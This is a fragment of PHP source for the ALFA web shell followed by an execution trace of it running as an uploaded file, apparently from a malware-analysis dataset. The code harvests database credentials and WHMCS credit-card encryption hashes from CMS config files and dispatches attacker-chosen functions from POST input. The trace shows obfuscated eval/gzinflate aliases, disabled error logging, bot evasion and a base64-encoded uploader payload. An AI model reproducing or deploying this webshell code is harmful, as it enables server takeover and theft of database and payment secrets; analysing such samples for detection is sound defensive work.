    $chost = $config[$cms]['host'][1];
    $cuser = $config[$cms]['dbuser'][1];
    $cname = $config[$cms]['dbname'][1];
    $cpw = $config[$cms]['dbpw'][1];
    $cprefix = $config[$cms]['prefix'][1];
    if (@is_dir($path) || _alfa_is_dir($path)) {
        $file = $path . $file;
    } elseif (@is_file($path) || _alfa_is_dir($path, "-e")) {
        $file = $path;
    } else {
        return false;
    }
    $file = __read_file($file);
    if ($cms == "drupal2") {
        $file = preg_replace("/\\@code(.*?)\\@endcode/s", "", $file);
    } elseif ($cms == "vb") {
        $file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
    }
    if (preg_match($srch_host, $file, $mach)) {
        $data['host'] = $mach[$chost];
    }
    if (preg_match($srch_user, $file, $mach)) {
        $data['user'] = $mach[$cuser];
    }
    if (preg_match($srch_name, $file, $mach)) {
        $data['dbname'] = $mach[$cname];
    }
    if (preg_match($srch_pw, $file, $mach)) {
        $data['password'] = $mach[$cpw];
    }
    if (isset($prefix)) {
        if (preg_match($prefix, $file, $mach)) {
            $data['prefix'] = $mach[$cprefix];
        }
    }
    if ($cms == 'whmcs') {
        if (preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)) {
            $data['cc_encryption_hash'] = $mach[3];
        }
    }
    echo json_encode($data);
}
if (empty($_POST['a'])) {
    if (isset($default_action) && function_exists('alfa' . $default_action)) {
        $_POST['a'] = $default_action;
    } else {
        $_POST['a'] = 'FilesMan2';
    }
}
//'FilesMan';
if (!empty($_POST['a']) && function_exists('alfa' . $_POST['a'])) {
    call_user_func('alfa' . $_POST['a']);
}
exit;

Execution traces

data/traces/67eba714f23ee4b7c9caf7136cb983db_trace-1676236975.0847.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:23:20.982503]
1	0	1	0.000182	393512
1	3	0	0.011632	2765528	{main}	1		/var/www/html/uploads/hw0.php	0	0
1		A						/var/www/html/uploads/hw0.php	9	GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/hw0.php	19	$CWppUDJxuf = 'function_exists'
1		A						/var/www/html/uploads/hw0.php	20	$aztJtafUXm = 'charCodeAt'
1		A						/var/www/html/uploads/hw0.php	21	$OVpGNqqFZs = 'eval'
1		A						/var/www/html/uploads/hw0.php	22	$psDEwGhsxg = 'gzinflate'
2	4	0	0.011753	2765528	function_exists	0		/var/www/html/uploads/hw0.php	24	1	'base64_encode'
2	4	1	0.011768	2765568
2	4	R			TRUE
2	5	0	0.011783	2765528	function_exists	0		/var/www/html/uploads/hw0.php	72	1	'base64_decode'
2	5	1	0.011796	2765568
2	5	R			TRUE
1		A						/var/www/html/uploads/hw0.php	126	GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1		A						/var/www/html/uploads/hw0.php	128	$key = 'username'
2	6	0	0.011845	2765504	substr	0		/var/www/html/uploads/hw0.php	130	3	'username'	0	2
2	6	1	0.011860	2765632
2	6	R			'us'
1		A						/var/www/html/uploads/hw0.php	130	$prefix = 'us'
1		A						/var/www/html/uploads/hw0.php	133	GLOBALS['DB_NAME']['user'] = 'alfa'
1		A						/var/www/html/uploads/hw0.php	134	GLOBALS['DB_NAME']['user_rand'] = 'username'
1		A						/var/www/html/uploads/hw0.php	128	$key = 'password'
2	7	0	0.011921	2766232	substr	0		/var/www/html/uploads/hw0.php	130	3	'password'	0	2
2	7	1	0.011934	2766360
2	7	R			'pa'
1		A						/var/www/html/uploads/hw0.php	130	$prefix = 'pa'
1		A						/var/www/html/uploads/hw0.php	138	GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
1		A						/var/www/html/uploads/hw0.php	139	GLOBALS['DB_NAME']['pass_rand'] = 'password'
1		A						/var/www/html/uploads/hw0.php	128	$key = 'safe_mode'
2	8	0	0.011994	2766232	substr	0		/var/www/html/uploads/hw0.php	130	3	'safe_mode'	0	2
2	8	1	0.012007	2766360
2	8	R			'sa'
1		A						/var/www/html/uploads/hw0.php	130	$prefix = 'sa'
1		A						/var/www/html/uploads/hw0.php	143	GLOBALS['DB_NAME']['safemode'] = '0'
1		A						/var/www/html/uploads/hw0.php	144	GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
1		A						/var/www/html/uploads/hw0.php	128	$key = 'login_page'
2	9	0	0.012066	2766232	substr	0		/var/www/html/uploads/hw0.php	130	3	'login_page'	0	2
2	9	1	0.012080	2766360
2	9	R			'lo'
1		A						/var/www/html/uploads/hw0.php	130	$prefix = 'lo'
1		A						/var/www/html/uploads/hw0.php	148	GLOBALS['DB_NAME']['login_page'] = '403'
1		A						/var/www/html/uploads/hw0.php	149	GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
1		A						/var/www/html/uploads/hw0.php	128	$key = 'show_icons'
2	10	0	0.012139	2766232	substr	0		/var/www/html/uploads/hw0.php	130	3	'show_icons'	0	2
2	10	1	0.012153	2766360
2	10	R			'sh'
1		A						/var/www/html/uploads/hw0.php	130	$prefix = 'sh'
1		A						/var/www/html/uploads/hw0.php	153	GLOBALS['DB_NAME']['show_icons'] = '1'
1		A						/var/www/html/uploads/hw0.php	154	GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
1		A						/var/www/html/uploads/hw0.php	128	$key = 'post_encryption'
2	11	0	0.012211	2766232	substr	0		/var/www/html/uploads/hw0.php	130	3	'post_encryption'	0	2
2	11	1	0.012225	2766360
2	11	R			'po'
1		A						/var/www/html/uploads/hw0.php	130	$prefix = 'po'
1		A						/var/www/html/uploads/hw0.php	158	GLOBALS['DB_NAME']['post_encryption'] = FALSE
1		A						/var/www/html/uploads/hw0.php	159	GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
1		A						/var/www/html/uploads/hw0.php	128	$key = 'cgi_api'
2	12	0	0.012285	2766232	substr	0		/var/www/html/uploads/hw0.php	130	3	'cgi_api'	0	2
2	12	1	0.012298	2766360
2	12	R			'cg'
1		A						/var/www/html/uploads/hw0.php	130	$prefix = 'cg'
1		A						/var/www/html/uploads/hw0.php	163	GLOBALS['DB_NAME']['cgi_api'] = TRUE
1		A						/var/www/html/uploads/hw0.php	164	GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
1		A						/var/www/html/uploads/hw0.php	172	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	13	0	0.012383	2766872	implode	0		/var/www/html/uploads/hw0.php	172	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2	13	1	0.012404	2767032
2	13	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
2	14	0	0.012422	2766968	preg_match	0		/var/www/html/uploads/hw0.php	172	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i'	'python-requests/2.25.1'
2	14	1	0.012442	2767032
2	14	R			0
2	15	0	0.012457	2766872	define	0		/var/www/html/uploads/hw0.php	179	2	'__ALFA_VERSION__'	'4.1'
2	15	1	0.012472	2766976
2	15	R			TRUE
2	16	0	0.012485	2766904	define	0		/var/www/html/uploads/hw0.php	180	2	'__ALFA_UPDATE__'	'2'
2	16	1	0.012498	2767008
2	16	R			TRUE
2	17	0	0.012511	2766936	define	0		/var/www/html/uploads/hw0.php	181	2	'__ALFA_CODE_NAME__'	'Tesla'
2	17	1	0.012524	2767040
2	17	R			TRUE
2	18	0	0.012537	2766968	define	0		/var/www/html/uploads/hw0.php	182	2	'__ALFA_DATA_FOLDER__'	'ALFA_DATA'
2	18	1	0.012551	2767072
2	18	R			TRUE
2	19	0	0.012564	2767000	define	0		/var/www/html/uploads/hw0.php	183	2	'__ALFA_POST_ENCRYPTION__'	FALSE
2	19	1	0.012578	2767104
2	19	R			TRUE
2	20	0	0.012592	2767032	define	0		/var/www/html/uploads/hw0.php	184	2	'__ALFA_SECRET_KEY__'	''
2	20	1	0.012605	2767136
2	20	R			TRUE
1		A						/var/www/html/uploads/hw0.php	185	GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
2	21	0	0.012739	2767064	preg_replace	0		/var/www/html/uploads/hw0.php	511	3	'!\\(\\d+\\)\\s.*!'	''	'/var/www/html/uploads/hw0.php'
2	21	1	0.012757	2767160
2	21	R			'/var/www/html/uploads/hw0.php'
2	22	0	0.012772	2767064	trim	0		/var/www/html/uploads/hw0.php	511	1	'/var/www/html/uploads/hw0.php'
2	22	1	0.012785	2767096
2	22	R			'/var/www/html/uploads/hw0.php'
2	23	0	0.012800	2767064	str_replace	0		/var/www/html/uploads/hw0.php	511	3	'\\'	'/'	'/var/www/html/uploads/hw0.php'
2	23	1	0.012816	2767160
2	23	R			'/var/www/html/uploads/hw0.php'
1		A						/var/www/html/uploads/hw0.php	511	GLOBALS['__file_path'] = '/var/www/html/uploads/hw0.php'
1		A						/var/www/html/uploads/hw0.php	512	$config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
2	24	0	0.012864	2767440	session_write_close	0		/var/www/html/uploads/hw0.php	514	0
2	24	1	0.012877	2767440
2	24	R			FALSE
2	25	0	0.012891	2767440	ignore_user_abort	0		/var/www/html/uploads/hw0.php	515	1	TRUE
2	25	1	0.012907	2767504
2	25	R			0
2	26	0	0.012920	2767472	set_time_limit	0		/var/www/html/uploads/hw0.php	516	1	0
2	26	1	0.012938	2767536
2	26	R			FALSE
2	27	0	0.012952	2767504	ini_set	0		/var/www/html/uploads/hw0.php	517	2	'memory_limit'	'-1'
2	27	1	0.012968	2767608
2	27	R			'128M'
2	28	0	0.012981	2767504	ini_set	0		/var/www/html/uploads/hw0.php	518	2	'upload_max_filesize'	'9999m'
2	28	1	0.012996	2767576
2	28	R			FALSE
2	29	0	0.013011	2767504	error_reporting	0		/var/www/html/uploads/hw0.php	853	1	32759
2	29	1	0.013024	2767576
2	29	R			0
2	30	0	0.013037	2767536	ini_set	0		/var/www/html/uploads/hw0.php	854	2	'error_log'	NULL
2	30	1	0.013056	2767608
2	30	R			''
2	31	0	0.013069	2767536	ini_set	0		/var/www/html/uploads/hw0.php	855	2	'log_errors'	0
2	31	1	0.013083	2767608
2	31	R			'1'
2	32	0	0.013096	2767536	ini_set	0		/var/www/html/uploads/hw0.php	856	2	'max_execution_time'	0
2	32	1	0.013110	2767576
2	32	R			'0'
2	33	0	0.013122	2767504	ini_set	0		/var/www/html/uploads/hw0.php	857	2	'magic_quotes_runtime'	0
2	33	1	0.013140	2767576
2	33	R			FALSE
2	34	0	0.013153	2767504	set_time_limit	0		/var/www/html/uploads/hw0.php	858	1	0
2	34	1	0.013166	2767568
2	34	R			FALSE
2	35	0	0.013179	2767536	function_exists	0		/var/www/html/uploads/hw0.php	859	1	'set_magic_quotes_runtime'
2	35	1	0.013192	2767576
2	35	R			FALSE
1		A						/var/www/html/uploads/hw0.php	875	$default_action = 'FilesMan2'
1		A						/var/www/html/uploads/hw0.php	876	$default_use_ajax = TRUE
1		A						/var/www/html/uploads/hw0.php	877	$default_charset = 'Windows-1251'
2	36	0	0.013270	2767536	substr	0		/var/www/html/uploads/hw0.php	878	3	'Linux'	0	3
2	36	1	0.013285	2767664
2	36	R			'Lin'
2	37	0	0.013298	2767568	strtolower	0		/var/www/html/uploads/hw0.php	878	1	'Lin'
2	37	1	0.013310	2767632
2	37	R			'lin'
1		A						/var/www/html/uploads/hw0.php	881	GLOBALS['sys'] = 'unix'
2	38	0	0.013336	2767536	alfaGetCwd	1		/var/www/html/uploads/hw0.php	882	0
3	39	0	0.013348	2767536	function_exists	0		/var/www/html/uploads/hw0.php	737	1	'getcwd'
3	39	1	0.013458	2767576
3	39	R			TRUE
3	40	0	0.013473	2767536	getcwd	0		/var/www/html/uploads/hw0.php	738	0
3	40	1	0.013488	2767584
3	40	R			'/var/www/html/uploads'
2	38	1	0.013503	2767584
2	38	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/hw0.php	882	GLOBALS['home_cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/hw0.php	883	GLOBALS['need_to_update_header'] = 'false'
1		A						/var/www/html/uploads/hw0.php	884	GLOBALS['glob_chdir_false'] = FALSE
2	41	0	0.013555	2767584	alfaGetCwd	1		/var/www/html/uploads/hw0.php	890	0
3	42	0	0.013567	2767584	function_exists	0		/var/www/html/uploads/hw0.php	737	1	'getcwd'
3	42	1	0.013580	2767624
3	42	R			TRUE
3	43	0	0.013593	2767584	getcwd	0		/var/www/html/uploads/hw0.php	738	0
3	43	1	0.013605	2767632
3	43	R			'/var/www/html/uploads'
2	41	1	0.013619	2767632
2	41	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/hw0.php	890	GLOBALS['cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/hw0.php	898	['cwd'] .= '/'
2	44	0	0.013659	2767632	function_exists	0		/var/www/html/uploads/hw0.php	899	1	'sys_get_temp_dir'
2	44	1	0.013673	2767672
2	44	R			TRUE
2	45	0	0.013686	2767632	function_exists	0		/var/www/html/uploads/hw0.php	900	1	'mb_strlen'
2	45	1	0.013700	2767672
2	45	R			FALSE
2	46	0	0.013713	2767632	function_exists	0		/var/www/html/uploads/hw0.php	905	1	'mb_substr'
2	46	1	0.013726	2767672
2	46	R			FALSE
2	47	0	0.013739	2767632	function_exists	0		/var/www/html/uploads/hw0.php	910	1	'sys_get_temp_dir'
2	47	1	0.013752	2767672
2	47	R			TRUE
2	48	0	0.013766	2767632	sys_get_temp_dir	0		/var/www/html/uploads/hw0.php	910	0
2	48	1	0.013778	2767672
2	48	R			'/tmp'
2	49	0	0.013791	2767672	str_replace	0		/var/www/html/uploads/hw0.php	910	3	'\\'	'/'	'/tmp'
2	49	1	0.013805	2767768
2	49	R			'/tmp'
2	50	0	0.013818	2767672	is_writable	0		/var/www/html/uploads/hw0.php	910	1	'/tmp'
2	50	1	0.013839	2767712
2	50	R			TRUE
2	51	0	0.013853	2767640	sys_get_temp_dir	0		/var/www/html/uploads/hw0.php	910	0
2	51	1	0.013864	2767672
2	51	R			'/tmp'
2	52	0	0.013878	2767672	define	0		/var/www/html/uploads/hw0.php	910	2	'ALFA_TEMPDIR'	'/tmp'
2	52	1	0.013892	2767776
2	52	R			TRUE
2	53	0	0.013908	2767704	function_exists	0		/var/www/html/uploads/hw0.php	2399	1	'posix_getpwuid'
2	53	1	0.013921	2767744
2	53	R			TRUE
2	54	0	0.013934	2767704	function_exists	0		/var/www/html/uploads/hw0.php	2401	1	'posix_getgrgid'
2	54	1	0.013947	2767744
2	54	R			TRUE
2	55	0	0.013965	2767704	function_exists	0		/var/www/html/uploads/hw0.php	2459	1	'scandir'
2	55	1	0.013978	2767744
2	55	R			TRUE
2	56	0	0.013995	2767704	function_exists	0		/var/www/html/uploads/hw0.php	6162	1	'json_encode'
2	56	1	0.014008	2767744
2	56	R			TRUE
2	57	0	0.014021	2767704	function_exists	0		/var/www/html/uploads/hw0.php	6204	1	'json_decode'
2	57	1	0.014033	2767744
2	57	R			TRUE
2	58	0	0.014047	2767744	function_exists	0		/var/www/html/uploads/hw0.php	6520	1	'alfaFilesMan2'
2	58	1	0.014060	2767784
2	58	R			TRUE
1		A						/var/www/html/uploads/hw0.php	6521	_POST['a'] = 'FilesMan2'
2	59	0	0.014085	2768120	function_exists	0		/var/www/html/uploads/hw0.php	6524	1	'alfaFilesMan2'
2	59	1	0.014098	2768160
2	59	R			TRUE
2	60	0	0.014112	2768080	alfaFilesMan2	1		/var/www/html/uploads/hw0.php	6525	0
3	61	0	0.014129	2768080	alfahead	1		/var/www/html/uploads/hw0.php	2560	0
3		A						/var/www/html/uploads/hw0.php	912	GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
3		A						/var/www/html/uploads/hw0.php	913	$alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
4	62	0	0.014199	2769872	__ZW5jb2Rlcg	1		/var/www/html/uploads/hw0.php	914	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5	63	0	0.014227	2769872	vcnvSCZgBz	1		/var/www/html/uploads/hw0.php	119	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5		A						/var/www/html/uploads/hw0.php	68	$b = 'base64_encode'
6	64	0	0.014264	2769872	base64_encode	0		/var/www/html/uploads/hw0.php	69	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6	64	1	0.014292	2772464
6	64	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5	63	1	0.014323	2772432
5	63	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4	62	1	0.014353	2772432
4	62	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
